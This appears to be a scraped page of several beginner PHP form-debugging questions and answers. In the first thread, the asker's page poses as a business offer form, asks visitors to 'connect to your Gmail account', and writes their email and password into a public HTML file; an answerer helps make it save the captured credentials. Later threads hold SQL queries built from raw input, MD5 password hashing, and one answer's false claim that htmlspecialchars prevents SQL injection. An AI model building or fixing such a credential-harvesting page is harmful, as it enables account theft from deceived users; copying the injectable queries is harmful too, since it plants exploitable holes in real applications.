My PHP code doesn't save the HTML form - php

I've made code to create a form in HTML and I want to save the form details in my server so i've made a PHP code to save it and it won't show me the details themselves, it only saves:
Email:
Password:
And the details from the form itself it won't save.
My PHP code:
<?php
$Email = "";
$Password = "";
if (isset($_POST["Email"])) {
$Email = $_POST["Email"];
}
if (isset($_POST["Password"])) {
$Password = $_POST["Password"];
}
$text = "
Email: $Email
Password: $Password";
$file = fopen('details.html','a+');
fwrite($file, $text);
fclose($file);
?>
My HTML code:
<html>
<head>
<title>Send price offer to Embit Systems Inc.</title>
<link rel="stylesheet" type="text/css" href="mystyle.css">
</head>
<body>
<p style="text-align:center;">
</p>
<br>
<br>
<p style="font-family: Verdana, Geneva, sans-serif;text-align: center;">
Please fill out your business Email details to send an offer to Embit Systems Inc.
</p>
<br>
<p>
<form action="1.php" method="POST" enctype="text/plain" style="background-image:url(fff.png);
background-position:center;
background-size:20%;
background-repeat: no-repeat;
text-align: center">
<br>
<p style="font-family: Verdana, Geneva, sans-serif;">Connect to your Gmail account</p>
<p style="font-family: Verdana, Geneva, sans-serif;">Email:</p>
<input type="text" name="Email" id="Email" style=" width: 15%;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;">
<br>
<br>
<p style="font-family: Verdana, Geneva, sans-serif;">Password:</p>
<input type="password" name="Password" id="Password" style=" width: 15%;
display: inline-block;
padding: 12px 20px;
margin: 8px 0;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;">
<br>
<br>
<input type="submit" value="Login" style="font-family: Verdana, Geneva, sans-serif; width: 12%;
background-color: #498BF4;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;">
<br>
<br>
<br>
</form>
</p>
</body>
</html>
What do I need to change so my form will save itself in the site?
Edit: if it helps the site's URL is:
embit.comli.com

Check your Email and Password are not empty, and then only append in your file,
if (isset($_POST["Email"]) && $_POST["Email"]) { // check email is not empty
$Email = $_POST["Email"];
}
if (isset($_POST["Password"]) && $_POST["Password"]) { // check password is not empty
$Password = $_POST["Password"];
}
if($Email && $Password){ // if both have values then only append in your file
$text = "
Email: $Email
Password: $Password";
$file = fopen('details.html','a+');
fwrite($file, $text);
fclose($file);
}

I can't understand what the problem may be...
It seems like I don't insert anything to the textboxes because what Rohan suggested doesn't seem to work.
Is there something wrong with the code? ID not matching or anything?

Related

Neither Submit working Nor Inserting data in DB

I am using login and registration in the same page. Here is my HTML Code~~
body {
margin:0 !important ;
padding:0 !important ;
}
.container{
width: 100%;
height: 100vh;
background-image: url('image/innerScream.jpg');
display: flex;
justify-content: center;
align-items: center;
background-size: contain;
background-repeat: repeat;
}
.card{
width: 350px;
height: 500px;
box-shadow: 0 0 40px 20px rgba(0,0,0,0.26);
perspective: 1000px;
border-radius: 1em;
}
.inner-box{
position: relative;
width: 100%;
height: 100%;
transform-style: preserve-3d;
transition: transform 1s;
}
.card-front, .card-back{
position: absolute;
width: 100%;
height: 100%;
background-position: center;
background-size: cover;
background-image: linear-gradient(rgb(0 0 100 / 38%), rgb(0 27 100)), url(image/mirrorWindow.jpg);
padding: 55px;
padding-top: 1em;
box-sizing: border-box;
backface-visibility: hidden;
border-radius: 1em;
}
.card-back{
transform: rotateY(180deg);
}
.card h2{
font-weight: normal;
font-size: 24px;
text-align: center;
margin-bottom: 20px;
color: #fff;
}
.input-box{
width: 100%;
background: transparent;
border: 1px solid #fff;
margin: 6px 0;
height: 32px;
border-radius: 20px;
padding: 0 20px;
box-sizing: border-box;
outline: none;
text-align: center;
color: #fff;
}
::placeholder{
color: #fff;
font-size: 12px;
}
button{
width: 100%;
background: transparent;
border: 1px solid #fff;
margin: 35px 0 10px;
height: 32px;
font-size: 12px;
border-radius: 20px;
padding: 0 20px;
box-sizing: border-box;
outline: none;
color: #fff;
cursor: pointer;
}
.submit-btn {
position: relative;
display: block;
width: 55%;
margin: 0 auto;
margin-top: 6em;
}
.submit-btn::after{
content: '\27a4';
color: #333;
line-height: 32px;
font-size: 17px;
height: 32px;
width: 32px;
border-radius: 50%;
background: #fff;
position: absolute;
right: -1px;
top: -1px;
}
span{
font-size: 13px;
color: #fff;
margin-left: 10px;
}
.card .btn {
margin-top: 70px;
}
.card a{
text-decoration: none;
color: #fff;
display: block;
text-align: center;
font-size: 13px;
margin-top: 8px;
}
.check{
margin-left: 5em;
margin-top: 1em;
cursor: pointer;
}
.massage{
background: green;
}
<?php
require_once "register.php";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title> Memories - A NoteBook </title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div class="card">
<div class="inner-box" id="card" >
<div class="card-front">
<h2>Memories - A NoteBook</h2>
<form action="" method="POST" enctype="multipart/form-data" >
<input type="email" class=" input-box" placeholder="Please Enter Your Email Id" name="email" required>
<input type="password" class=" input-box" placeholder="Password" name="password" required>
<button type="submit" class="submit-btn" value="Login"> Login </button>
<input class="check" type="checkbox"><span>Remember Me</span>
</form>
<button type="button" class="btn" onclick="openRegister()"> I am New Here </button>
Forgot Password?
</div>
<div class="card-back">
<h2>Memories - A NoteBook</h2>
<?php
if(isset($massage)){
foreach($massage as $msg){
echo '<div class="massage" style="color:red;">'.$massage.'</div>';
}
}
?>
<form action="" method="POST" enctype="multipart/form-data" >
<input type="text" class=" input-box" placeholder=" Enter Your Name" name="name" required>
<input type="email" class=" input-box" placeholder=" Enter Your Email " name="email" required>
<input type="password" class=" input-box" placeholder="Password" name="password" required>
<input type="password" class=" input-box" placeholder="Re-Type Password" name="cpassword" required>
<input type="file" class="upload-button" accept="image/jpg, image/jpeg, image/png" name="image" required>
<button type="submit" class="submit-btn" value="Register"> Register </button>
</form>
<button type="button" class="btn" onclick="openLogin()"> I've an Account !! </button>
Forgot Password?
</div>
</div>
</div>
</div>
<script>
var card = document.getElementById("card");
function openRegister(){
card.style.transform = "rotateY(-180deg)";
}
function openLogin(){
card.style.transform = "rotateY(0deg)";
}
</script>
</body>
</html>
The problem is
When I hit submit button for register the user It doesn't Insert data into data table. and doesn't redirect my desired page. After submitting it only redirect the login form. Here is the php code ~~
<?php
//include config file
include "config.php";
//register user
if (isset($_POST['submit']) ){
$name = mysqli_real_escape_string($conn, $_POST['name']);
$email = mysqli_real_escape_string($conn, $_POST['email']);
$password = mysqli_real_escape_string($conn, md5 ($_POST['password']) );
$cpassword = mysqli_real_escape_string($conn, md5 ($_POST['cpassword']) );
$image = $_FILES['image']['name'];
$image_size = $_FILES['image']['size'];
$image_tmp_name = $_FILES['image']['tmp_name'];
$image_folder = "images/".$image;
//check if email already exists
$select = mysqli_query($conn, "SELECT * FROM user WHERE email = '$email' AND userpassword = '$password' ") or die(mysqli_error($conn));
if(mysqli_num_rows($select) > 0){
$massage[] = "User already exists";
}else{
if($password != $cpassword){
$massage[] = "Password does not match";
}elseif($image_size > 5097152){
$massage[] = "Image size should be less than 5MB";
}else{
$insert = mysqli_query($conn, "INSERT INTO user (username, email, userpassword, Image) VALUES ('$name', '$email', '$password', '$image')") or die(mysqli_error($conn));
if($insert){
move_uploaded_file($image_tmp_name, $image_folder);
$massage[] = "Registration successful";
header("location: home.php");
}else{
$massage[] = "Registration failed";
}
}
}
}
?>
Here is my table information
Database is successfully connected and it's showing the success alert
The name attribute is missing in the definition of your register button:
<button type="submit" name="register" class="submit-btn" value="Register"> Register </button>
Then you can call:
if (isset($_POST['register']) ){......

how to fix my booking because when i send it. It doesn't show any data at mysql and it show echo "failed" [duplicate]

This question already has answers here:
How can I prevent SQL injection in PHP?
(27 answers)
Closed 3 years ago.
i'm setting up my reservation web application and support UTF-8.
I already running PHP 7 and MySQL also Apache 2.In the past i've tried doing registration form and login form and when doing my reservation form seem end up sending echo "failed".
I'm doing php using method object oriented
this is my bookingtest.php
<?php
$php_variable = 'string';
// connection
include ('config.php');
ob_start();
// if button register pressed
if(isset($_POST['book']))
{
$fname = $_POST['fname'];
$email = $_POST['email'];
$phone = $_POST['phone'];
$country = $_POST['country'];
$swimming = $_POST['swimming'];
$date = $_POST['date'];
$numbercus= $_POST['numbercus'];
$suits= $_POST['suits'];
$certificate = $_POST['certificate'];
$guide= $_POST['guide'];
//inserting php form to mysql
$sql_book = "INSERT INTO booking (fname, email, phone, country, swim,
date, num, suits, cert, guide)
VALUES ('$fname', '$email', '$phone', '$country', $swimming, '$date',
'$numbercus', '$suits', '$certificate', '$guide')";
//result
if ($result_book = $conn->query($sql_book))
{
sleep(1);
echo "success";
}
else
{
echo "Failed ! Please check your details !";
}
}
?>
This is my bookinfo.php
<!DOCTYPE html>
<html>
<!-- header -->
<head>
<title>BOOKING INFORMATION | E-Diving</title>
<link href="https://fonts.googleapis.com/css?
family=Bungee+Outline&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?
family=Archivo+Narrow&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?
family=Patua+One&display=swap" rel="stylesheet">
</head>
<body>
<!-- top bars -->
<ul>
<li>HOME</li>
<li>ABOUT</li>
</ul>
<h1>BOOKING INFORMATION</h1>
<!-- reservation form -->
<form class="field" method="post" action="booktest.php">
<fieldset>
<legend>Personal Details: </legend>
<br>
Name: <input type="text" name="fname" placeholder="Full Name">
<br>
<br>
Email: <input type="text" name="email"
placeholder="example#example.com">
<br>
<br>
Phone:<input type="tel" name="phone" placeholder="012-3456789">
<br>
<br>
<p>Country: <select name="country" required>
<option name="country">MALAYSIA</option>
<option name="country">UNITED STATES</option>
<option name="country">UNITED KINGDOM</option>
</select> </p>
<br>
<p>Do you know Swimming ?</p>
<input type="radio" name="swimming">YES
<br>
<br>
<input type="radio" name="swimming">NO
<br>
<br>
Choose your Date: <input type="date" name="date" min="2019-01-
01">
<br>
<br>
No. Customers: <input type="number" name="numbercus" min="1"
max="100">
<br>
<br>
<p>Do you have swimming suits?</p>
<input type="radio" name="suits">YES<br><br>
<input type="radio" name="suits">NO
<br>
<br>
<p>Level of Certificate :</p>
<input type="radio" name="certificate">Recretional Scuba Diving
Certification Levels.<br>
<br>
<input type="radio" name="certificate">Professional Scuba Diving
Certification Levels.
<br>
<br>
<p>Do you need a guide?</p>
<input type="radio" name="guide">YES<br><br>
<input type="radio" name="guide">NO
<br>
<br>
</fieldset>
<br>
<br>
<input type="submit" name="book" value="Continue...">
</form>
</body>
<!-- style -->
<style>
h1 {
font-family: 'Bungee Outline', cursive;
text-align: center;
margin-top: 20px;
font-size: 70px;
color: #3A506B;
}
body {
height: 110vh;
margin: 0;
padding: 0;
font-family: 'Product', sans-serif;
background-image: linear-gradient(120deg, #6B7FD7, #BCEDF6, #EAF8BF,
#99DDC8, #F9CFF2, #A9FBD7);
}
.field p {
font-size: 19px;
}
.field input[type="radio"],
.field input[type="text"],
.field input[type="number"],
.field input[type="date"] {
font-size: 14px;}
fieldset {
background-color: #A4BAB7;
font-weight: bold;
font-family: 'Archivo Narrow', sans-serif;
color: #533E2D;
font-style: oblique;
font-size: 19px;
border-radius: 20px;
: 16px;}
.field {
margin-right: 10px;}
legend {
text-decoration: underline;
text-align: center;
font-size: 21px;
font-family: 'Patua One', cursive;
}
.field input[type="submit"] {
border: 0;
background: #4C243B;
display: block;
margin: 20px auto;
text-align: center;
border: 3px solid #07FEDE;
padding: 14px 60px;
width: 200px;
outline: none;
color: white;
border-radius: 25px;
transition: 0.6s;
cursor: pointer;
color: cornflowerblue;
font-weight: bolder;
font-family: 'Raleway', sans-serif;
font-size: 15px;
}
.field input[type="submit"]:hover {
background: #DCD6F7;
color: #151E3F;
font-family: 'Raleway', sans-serif;
}
head {
display: flex;
}
ul {
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
background-color: #EDF7F6;
position: fixed;
top: 0;
width: 100%;
position: fixed;
font-weight: lighter;
}
li {
float: left;
}
li a {
display: block;
color: #352208;
text-align: center;
padding: 14px 16px;
text-decoration: none;
font-weight: lighter;
}
li a:hover:not(.active) {
background-color: #FAE8EB;
color: #1F2041;
}
.active {
background-color: #CC7E85;
transition: 1s;
}
</html>
Use execute instead of query and use prepared statement to handle SQL INJECTION.
$sql = "INSERT INTO booking (fname, email, phone, country, swim, date, num, suits, cert, guide) VALUES (?,?,?,?,?,?,?,?,?,?)";
$stmt= $pdo->prepare($sql);
$stmt->execute([$fname, $email, $phone, $country, $swimming, $date, $numbercus, $suits, $certificate, $guide]);
Reference: Insert query using PDO

Positioning the validation error message

I have this login form which looks like this:
When I enter a wrong information, it would look like this:
Now the problem is that when I get the error, it moves my login form down.
Is there anyway I could prevent the form from moving when I get the error message? Also maybe I could put the error message below the form but I don't know how to, I tried echoing the error below the form but it didn't work.
Here's my PHP:
<?php
/*********************************************************************
* This script has been released with the aim that it will be useful.
* Written by Vasplus Programming Blog
* Website: www.vasplus.info
* Email: info#vasplus.info
* All Copy Rights Reserved by Vasplus Programming Blog
***********************************************************************/
session_start();
ob_start();
//Include the database connection file
include "database_connection.php";
//Check to see if the submit button has been clicked to process data
if(isset($_POST["submitted"]) && $_POST["submitted"] == "yes")
{
//Variables Assignment
$username = trim(strip_tags($_POST['username']));
$user_password = trim(strip_tags($_POST['passwd']));
$validate_user_information = mysql_query("select * from `signup_and_login_users_table` where `username` = '".mysql_real_escape_string($username)."' and `password` = '".mysql_real_escape_string($user_password)."'");
//Validate against empty fields
if($username == "" || $user_password == "")
{
$error = '<br><div class="info">Sorry, all fields are required to log into your account. Thanks.</div><br>';
}
elseif(mysql_num_rows($validate_user_information) == 1) //Check if the information of the user are valid or not
{
//The submitted info of the user are valid therefore, grant the user access to the system by creating a valid session for this user and redirect this user to the welcome page
$get_user_information = mysql_fetch_array($validate_user_information);
$_SESSION["VALID_USER_ID"] = $username;
$_SESSION["USER_FULLNAME"] = strip_tags($get_user_information["fullname"]);
header("location: home.php");
}
else
{
//The submitted info the user are invalid therefore, display an error message on the screen to the user
$error = '<div class="info" style="color: red; text-align: center;">You have entered an invalid username or password</div>';
echo $error;
}
}
?>
Here's my HTML:
body {
background-image: url(img/hero.jpg);
background-size: cover;
font-family: Montserrat;
}
.logo {
width: 400px;
height: 200px;
background-image: url(img/corelogo.png);
background-size: cover;
margin: -20px auto;
}
.login-block {
width: 320px;
padding: 20px;
background: transparent;
border-radius: 5px;
border-top: 5px solid #011f4b;
margin: 0 auto;
font-family: Questrial;
}
.login-block h1 {
text-align: center;
color: #000;
font-size: 18px;
text-transform: capitalize;
letter-spacing: 2px;
margin-top: 0;
margin-bottom: 20px;
}
.login-block input {
width: 100%;
height: 42px;
box-sizing: border-box;
border-radius: 5px;
border: 1px solid #ccc;
margin-bottom: 20px;
font-size: 14px;
font-family: Questrial;
letter-spacing: 2px;
padding: 0 20px 0 50px;
outline: none;
}
.login-block input#username {
background: #fff url('http://i.imgur.com/u0XmBmv.png') 20px top no-repeat;
background-size: 16px 80px;
}
.login-block input#username:focus {
background: #fff url('http://i.imgur.com/u0XmBmv.png') 20px bottom no-repeat;
background-size: 16px 80px;
}
.login-block input#password {
background: #fff url('http://i.imgur.com/Qf83FTt.png') 20px top no-repeat;
background-size: 16px 80px;
}
.login-block input#password:focus {
background: #fff url('http://i.imgur.com/Qf83FTt.png') 20px bottom no-repeat;
background-size: 16px 80px;
}
.login-block input:active,
.login-block input:focus {
border: 1px solid #011f4b;
}
.login-block button {
width: 100%;
height: 40px;
background: #011f4b;
box-sizing: border-box;
border-radius: 5px;
border: 0px solid #1293e1;
color: #fff;
font-weight: 500;
text-transform: uppercase;
font-size: 14px;
font-family: Questrial;
letter-spacing: 2px;
outline: none;
cursor: pointer;
margin-bottom: 10px;
}
.login-block button:hover {
background: #1293e1;
}
<link href="https://fonts.googleapis.com/css?family=Questrial" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<center>
<div style="font-family:Questrial, sans-serif; font-size:24px;"></div><br clear="all" /><br clear="all" />
<!-- Code Begins -->
<link href='http://fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>
<div class="logo"></div>
<div class="login-block">
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<h1>Employee Login</h1>
<input type="text" value="" placeholder="Username" id="username" name="username" required />
<input type="password" value="" placeholder="Password" id="password" name="passwd" required />
<input type="hidden" name="submitted" id="submitted" value="yes">
<button type="submit" name="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
<button>Back</button>
</div>
<!-- Code Ends -->
Basically try this:
.info {position: absolute; }
1st Remove echo $error in the Code:
$error = '<div class="info" style="color: red; text-align: center;">You have entered an invalid username or password</div>';
//echo $error;
2nd Add this Code at the top of form tag in html
<?php
if(isset($error) && isset($_POST['submit'])){
echo $error;
}
?>
<?php
/*********************************************************************
* This script has been released with the aim that it will be useful.
* Written by Vasplus Programming Blog
* Website: www.vasplus.info
* Email: info#vasplus.info
* All Copy Rights Reserved by Vasplus Programming Blog
***********************************************************************/
session_start();
ob_start();
//Include the database connection file
include "database_connection.php";
//Check to see if the submit button has been clicked to process data
if(isset($_POST["submitted"]) && $_POST["submitted"] == "yes")
{
//Variables Assignment
$username = trim(strip_tags($_POST['username']));
$user_password = trim(strip_tags($_POST['passwd']));
$validate_user_information = mysql_query("select * from `signup_and_login_users_table` where `username` = '".mysql_real_escape_string($username)."' and `password` = '".mysql_real_escape_string($user_password)."'");
//Validate against empty fields
if($username == "" || $user_password == "")
{
$error = '<br><div class="info">Sorry, all fields are required to log into your account. Thanks.</div><br>';
}
elseif(mysql_num_rows($validate_user_information) == 1) //Check if the information of the user are valid or not
{
//The submitted info of the user are valid therefore, grant the user access to the system by creating a valid session for this user and redirect this user to the welcome page
$get_user_information = mysql_fetch_array($validate_user_information);
$_SESSION["VALID_USER_ID"] = $username;
$_SESSION["USER_FULLNAME"] = strip_tags($get_user_information["fullname"]);
header("location: home.php");
}
else
{
//The submitted info the user are invalid therefore, display an error message on the screen to the user
$error = '<div class="info" style="color: red; text-align: center;">You have entered an invalid username or password</div>';
//echo $error;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link rel="shortcut icon" href="img/favicon.ico" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CORE INTRANET</title>
<link href="https://fonts.googleapis.com/css?family=Questrial" rel="stylesheet">
<!-- Required header file -->
<link href="css/style.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<style>
body {
background-image: url(img/hero.jpg);
background-size: cover;
font-family: Montserrat;
}
.logo {
width: 400px;
height: 200px;
background-image: url(img/corelogo.png);
background-size: cover;
margin: -20px auto;
}
.login-block {
width: 320px;
padding: 20px;
background: transparent;
border-radius: 5px;
border-top: 5px solid #011f4b;
margin: 0 auto;
font-family: Questrial;
}
.login-block h1 {
text-align: center;
color: #000;
font-size: 18px;
text-transform: capitalize;
letter-spacing: 2px;
margin-top: 0;
margin-bottom: 20px;
}
.login-block input {
width: 100%;
height: 42px;
box-sizing: border-box;
border-radius: 5px;
border: 1px solid #ccc;
margin-bottom: 20px;
font-size: 14px;
font-family: Questrial;
letter-spacing: 2px;
padding: 0 20px 0 50px;
outline: none;
}
.login-block input#username {
background: #fff url('http://i.imgur.com/u0XmBmv.png') 20px top no-repeat;
background-size: 16px 80px;
}
.login-block input#username:focus {
background: #fff url('http://i.imgur.com/u0XmBmv.png') 20px bottom no-repeat;
background-size: 16px 80px;
}
.login-block input#password {
background: #fff url('http://i.imgur.com/Qf83FTt.png') 20px top no-repeat;
background-size: 16px 80px;
}
.login-block input#password:focus {
background: #fff url('http://i.imgur.com/Qf83FTt.png') 20px bottom no-repeat;
background-size: 16px 80px;
}
.login-block input:active, .login-block input:focus {
border: 1px solid #011f4b;
}
.login-block button {
width: 100%;
height: 40px;
background: #011f4b;
box-sizing: border-box;
border-radius: 5px;
border: 0px solid #1293e1;
color: #fff;
font-weight: 500;
text-transform: uppercase;
font-size: 14px;
font-family: Questrial;
letter-spacing: 2px;
outline: none;
cursor: pointer;
margin-bottom: 10px;
}
.login-block button:hover {
background: #1293e1;
}
</style>
<body>
<center>
<div style="font-family:Questrial, sans-serif; font-size:24px;"></div><br clear="all" /><br clear="all" />
<!-- Code Begins -->
<link href='http://fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>
<div class="logo"></div>
<div class="login-block">
<?php
if(isset($error) && isset($_POST['submit'])){
echo $error;
}
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<h1>Employee Login</h1>
<input type="text" value="" placeholder="Username" id="username" name="username" required />
<input type="password" value="" placeholder="Password" id="password" name="passwd" required />
<input type="hidden" name="submitted" id="submitted" value="yes">
<button type="submit" name="submit" class="btn btn-primary btn-block btn-large">Login</button>
</form>
<button>Back</button>
</div>
<!-- Code Ends -->
</center>
</body>
</html>

Why i cant post data to my database?

i want to process my comment that is contain name, email and message to database named "comment" but it cant. i really sure that my database name in phpmyadmin is same as in prosescomment.php. please help
this is my form
<form action="prosescomment.php" method="POST" id="form" >
<div class="success_wrapper">
<div class="success">Contact form submitted!<br>
<strong>We will be in touch soon.</strong> </div>
</div>
<fieldset>
<input type="text" name="nama" placeholder="Name:">
<br class="clear">
<span class="error error-empty">*This is not a valid name.</span><span class="empty error-empty">*This field is required.</span>
<label class="email">
<input type="text" name="email" placeholder="E-mail:">
<br class="clear">
<span class="error error-empty">*This is not a valid email address.</span><span class="empty error-empty">*This field is required.</span> </label>
<label class="message">
<textarea type="text" name="message" placeholder="Message"></textarea>
<br class="clear">
<span class="error">*The message is too short.</span> <span class="empty">*This field is required.</span> </label>
<div class="clear"></div>
<div class="btns"><a data-type="submit" class="link1">Send</a>
<div class="clear"></div>
</div>
</fieldset>
</form>
this is my prosescomment.php
<?php
include "connection.php";
$nama = $_POST['nama'];
$email = $_POST['email'];
$message = $_POST['message'];
$query = "INSERT INTO comment VALUES ('$nama', '$email', '$comment')";
$result = mysql_query($query);
if ($query) {
header("location:index.html");
}
else{
mysql_error();
}
?>
this is my id form
#form {
padding-top: 6px;
}
#form input {
color:#39596e;
border: 1px solid #3c7f9f;
padding: 4px 12px 9px;
background-color: white;
float:left;
font: 13px/18px Arial, Helvetica, sans-serif;
box-sizing: border-box;
-moz-box-sizing: border-box; /*Firefox 1-3*/
-webkit-box-sizing: border-box; /* Safari */
}
#form textarea {
color:#39596e;
height: 170px;
overflow: auto;
background-color: white;
border: 1px solid #3c7f9f;
padding: 12px 12px 9px;
width: 100%;
position: relative;
resize:none;
box-sizing: border-box;
-moz-box-sizing: border-box; /*Firefox 1-3*/
-webkit-box-sizing: border-box; /* Safari */
float:left;
font: 13px/18px Arial, Helvetica, sans-serif;
margin: 0;
}
#form label {
position:relative;
display: block;
min-height: 51px;
width: 185px;
float: left;
}
.email {
padding-top: 10px;
}
#form .error, #form .empty {
color: #FF0000;
display: none;
font-size: 11px;
line-height:14px;
width:auto;
position: absolute;
z-index: 999;
right: 5px;
bottom: 4px;
float:left;
}
#form .message .error, #form .message .empty {
bottom: -16px;
}
#form .error-empty {
display:none;
float:left;
}
.btns {
position:relative;
padding-top: 20px;
text-align: center;
}
.btns a {
display: inline-block;
font-size: 19px;
line-height: 18px;
background-color: #f17c72;
border: 1px solid #b76058;
min-width: 107px;
padding: 5px 10px 6px;
color: #fff;
cursor: pointer;
}
.btns a:hover {
background-color: #c2e8f4;
border-color: #3c7f9f;
color: #39596e;
}
#form .message {
width: 100%;
}
#form .btns span {
display: inline-block;
width: 13px;
}
.message br {
height: 0;
line-height: 0;
}
#form .success {
display: none;
position: absolute;
width: 100%;
color:#39596e;
border: 1px solid #3c7f9f;
background-color: #c2e8f4;
text-align: center;
padding: 20px 10px;
z-index: 999;
box-sizing: border-box;
-moz-box-sizing: border-box; /*Firefox 1-3*/
-webkit-box-sizing: border-box; /* Safari */
}
.success_wrapper {
position: relative;
}
It seems you have a Connection Class or so... however I'd suggest you use Prepared Statements & PDO...
Besides, your SQL might be wrong depending on whether you have a Primary Key (ID) or not.
Here is the route I'd suggest you go:
<?php
include "connection.php";
$nama = htmlspecialchars(trim($_POST['nama'])); //PROTECT AGAINST SQL INJECTION
$email = htmlspecialchars(trim($_POST['email'])); //PROTECT AGAINST SQL INJECTION
$message = htmlspecialchars(trim($_POST['message'])); //PROTECT AGAINST SQL INJECTION
//NOTE: YOU DON'T HAVE THE VARIABLE $comment DEFINED: YOU MUST MEAN $message
$query = "INSERT INTO comment (name, email, message) VALUES ('$nama', '$email', '$message')";
/** I WOULD SUGGEST YOU USE PDO & PREPARED STATEMENTS LIKE SO*/
// $stmt = $dbh->prepare("INSERT INTO comment (name, email, comment) VALUES (:name, :email, :message)");
// $stmt->bindParam(':name', $nama);
// $stmt->bindParam(':email', $email);
// $stmt->bindParam(':message', $message);
$result = mysql_query($query);
// NOT if($query) BUT if($result) BECAUSE $query IS A STRING AND if($query) WILL ALWAYS RETURN TRUE...
if ($result) {
header("location:index.html");
}
else{
mysql_error();
}
?>
I hope this helps a bit...
chage your html and prosescomment.php code with this codes and it will run
<form action="prosescomment.php" method="POST" id="form" >
<div class="success_wrapper">
<div class="success">Contact form submitted!<br>
<strong>We will be in touch soon.</strong> </div>
</div>
<fieldset>
<input type="text" name="nama" placeholder="Name:">
<br class="clear">
<span class="error error-empty">*This is not a valid name.</span><span class="empty error-empty">*This field is required.</span>
<label class="email">
<input type="text" name="email" placeholder="E-mail:">
<br class="clear">
<span class="error error-empty">*This is not a valid email address.</span><span class="empty error-empty">*This field is required.</span> </label>
<label class="message">
<textarea type="text" name="message" placeholder="Message"></textarea>
<br class="clear">
<span class="error">*The message is too short.</span> <span class="empty">*This field is required.</span> </label>
<div class="clear"></div>
<div class="btns"><input type="submit" name="submit" value="send" class="link1"/>
<div class="clear"></div>
</div>
</fieldset>
</form>
<?php
include "connection.php";
if(isset($_POST['submit'])) //
{
$nama = $_POST['nama'];
$email = $_POST['email'];
$message = $_POST['message'];
$query = "INSERT INTO comment VALUES ('$nama', '$email', '$message')";
$result = mysql_query($query);
if ($result) {
header("location:index.html");
}
else{
mysql_error();
}
}
?>
Please replace line of code <a data-type="submit" class="link1">Send</a> to <button class="link1" type="submit" >Send</button> and try your form data will post.

How to connect MySQL(WAMP) database with PHP, and handling errors?

Recently I've given a task to create a data inquiry system. The system required user to fill in the form. When it is submitted, the data will be validated by the admin and connected to the database.
This is my form.html:
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>data</title>
<link rel="stylesheet" media="screen" href="styles.css" >
</head>
<body bgcolor="#13b4ff">
<div id="header" style="background-color: #4169E1;"><hr>
<form class="form" action="submit.php" method="post" name="form" >
<ul>
<li>
<span class="required_notification">* Denotes Required Field</span>
</li>
<li>
<label for="name">Name:</label>
<input type="text" name="name" required />
</li>
<li>
<label for="position:">Jawatan:</label>
<input type="text" name="position" />
</li>
<li>
<label for="unit">Unit:</label>
<input type="text" name="unit" required />
</li>
<li>
<label for="institute">Institute:</label>
<input type="text" name="institute" required />
</li>
<li>
<label for="telefon">No. Telefon:</label>
<input type="number" name="telefon" placeholder="eg: 012-345-6789" required />
</li>
<li>
<label for="faks">No. Faks:</label>
<input type="number" name="faks" placeholder="eg: 03-12345678" />
</li>
<li>
<label for="email">E-mail:</label>
<input type="email" name="name" placeholder="name#something.com"/ required>
<span class="form_hint">proper format<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script></span>
</li>
<li>
<label for="data">Data Required:</label>
<input type="text" name="data" required/>
</li>
<li>
<label for="purpose">Purpose:</label>
<input type="text" name="purpose" required/>
</li>
<li>
<button class="submit" type="submit">Submit</button>
</li>
</ul>
</form>
</body>
</html>
This is the styles.css for the form:
.form {
background-color:#ffffff;
margin: 0 auto;
width:750px;
height: 825px;
}
body {font: 14px/21px "Lucida Sans", "Lucida Grande", "Lucida Sans Unicode", sans-serif;}
.form h2, .form label {font-family:Georgia, Times, "Times New Roman", serif;}
.form_hint, .required_notification {font-size: 11px;}
.form ul {
width:750px;
list-style-type:none;
list-style-position:outside;
margin:0px;
padding:0px;
}
.form li{
padding:13px;
border-bottom:1px solid #eee;
position:relative;
}
.form li:first-child, .form li:last-child {
border-bottom:2px solid #777;
}
/*header*/
.form h2 {
margin:0;
display: inline;
}
.required_notification {
color:#d45252;
margin:5px 0 0 0;
display:inline;
float:right;
}
.form label {
width:200px;
margin-top: 3px;
display:inline-block;
float:left;
padding:3px;
}
.form input {
height:20px;
width:220px;
padding:5px 8px;
}
.form textarea {padding:8px; width:300px;}
.form button {margin-left:156px;}
.form input, .form textarea {
border:1px solid #aaa;
box-shadow: 0px 0px 3px #ccc, 0 10px 15px #eee inset;
border-radius:2px;
-moz-transition: padding .25s;
-webkit-transition: padding .25s;
-o-transition: padding .25s;
transition: padding .25s;
padding-right:30px;
}
.form input:focus, .form textarea:focus {
padding-right:70px;
background: #fff;
border:1px solid #555;
box-shadow: 0 0 3px #aaa;
}
button.submit {
margin: 250 auto;
width:100px;
}
button.submit {
background-color: #2F68B1;
background: -webkit-gradient(linear, left top, left bottom, from(#2F68B1), to(#10468B));
